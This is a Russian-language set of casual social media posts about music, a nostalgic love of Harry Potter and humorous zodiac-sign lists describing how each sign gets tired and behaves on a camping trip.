Помоги мне в себя поверить, стань слабее

Вьюи-девочки, Вы, просто обязаны слушать Сплин - Танцуй. Это же ваша песня. Ставьте сердечко, кто не может без этой песни.

Hogwarts is my home!

Настанет ли тот день, когда я перестану пересматривать/перечитывать ГП?

Наверное тогда, когда мир чародейства и волшебства перестанет для меня быть чудесным уютным родным домом для моего духа, куда всегда приятно вернуться. Как-никак именно там в детстве жил мой идеальный образ.

Так что ответ на этот вопрос будет в стиле античной натурфилософии: "Лишь когда мое опустошенное тело предадут одной из первооснов этого мира".

Наверное это особая форма отчуждения с оттенком эскапизма.

P.S. первому молодому Тому Реддлу уже 36 лет.

Отряд "я люблю пиццу":

Овны, Тельцы, Близнецы, Раки, Львы, Девы, Весы, Скорпионы, Стрельцы, Козероги, Водолеи, Рыбы

Как знаки зодиака устают:

Овен - *очень громко вздыхает, пугая людей, чтобы те не разговаривали с ним.*

Телец - *ест пироженку и смотрит на всех вокруг со взгядом рассерженного убийцы.*

Близнецы - ЭТОМОЙДВЕНАДЦАТЫЙКОФЕ!!!! *пьет кофе, вырубается*

Рак - *надевает солнечные очки, откидывает голову назад и просто вырубается нахер*

Лев - *спит в своей кровати, потому что ему насрать.*

Дева - *начинает генеральную уборку во всем доме, чтобы оставаться энергичной, вырубается от паров очистителя.*

Весы - *вздыхает* Я просто хочу вздремнуть. *опускает голову вниз* О, а это отличное место.

Скорпион - *думает только о кофе и убийстве.*

Стрелец - *бормочет что-то непонятное 5 часов подряд, никто не понимает о чем он.*

Козерог - *ведет себя нормально, потому что он всегда уставший.*

Водолей - *каждые 5 минут говорит как сильно он устал.*

Рыбы - *как и козерог ведут себя нормально, потому что всегда уставшие, и ржут над другими.*

Знаки зодиака в походе в лесу

Овны: пытаются командовать всеми

Тельцы: спят в палатке

Близнецы: ноют, что хотят домой

Раки: пытаются поднять всем настроение

Львы: делают вид что очень заняты, на самом деле бездельничают

Девы: готовят что-то вкусное

Весы: просто лежат в спальном мешке, наблюдая за всеми

Скорпионы: просят выпивку

Козероги: пытаются развести огонь

Водолеи: фотографируют природу

Рыбы: сидят возле озера